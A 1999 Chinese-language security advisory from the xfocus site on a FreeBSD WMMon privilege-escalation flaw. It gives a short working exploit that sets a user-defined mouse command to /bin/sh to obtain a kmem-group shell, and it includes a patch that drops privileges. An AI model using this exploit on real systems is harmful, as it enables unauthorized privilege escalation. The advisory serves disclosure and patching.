xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

FreeBSD WMMon 存在安全漏洞


发布时间:1999-12-22
更新时间:1999-12-22
严重程度:
威胁程度:本地管理员权限
错误类型:设计错误
利用方式:服务器模式

受影响系统
BSD
Windowmaker wmmon 1.0b2 FOR FREEBSD3.3
详细描述
WMMon是多平台窗口应用程序,能监控如CPU用量和磁盘活动
情况,此应用程序也允许用户自定义命令-使使用鼠标也可
以打开WMMon窗口,如果WMMon应用程序安装为SUID和
SGID状态,在执行用户定义的命令时其权限不会自动解除,
由于用户可以定义任何命令,所以用户可以设计他自身不能
运行的但按照WMMon权限执行的命令,使其能获得ROOT权
限。

测试代码
Exploit:
% id
uid=1000(steve) gid=1000(steve) groups=1000
(steve)
% echo 'left /bin/sh' > ~/.wmmonrc
% wmmon -display myworkstation.evilhacker.net:0.0

Monitoring 2 devices for activity.

{Left-click on the little window that appears}

current stat is :1
$ id
uid=1000(steve) gid=1000(steve) egid=2(kmem)
groups=2(kmem), 1000(steve)

解决方案
补丁程序:--- work/wmmon.app/wmmon/wmmon.c.old
Thu Dec 2 02:06:55 1999
+++ work/wmmon.app/wmmon/wmmon.c Thu Dec 2
04:20:22 1999
@@ -318,6 +318,8 @@

if (kvmd==NULL) kvmd = kvm_openfiles(NULL, NULL,
NULL, O_RDONLY, errbuf);
if (kvmd==NULL) { fprintf
(stderr, "kvm_openfiles: %s\n", errbuf); exit(errno); }

+ if (setgid(getgid()) != 0) exit(1); /* We're
sgid kmem. Give up privs. */
+ if (setuid(getuid()) != 0) exit(1); /* If
we're suid, give that up too. */
if (kvmd) {

if (kvm_nlist(kvmd, nl) >= 0) {

struct nlist *nlp;

相关信息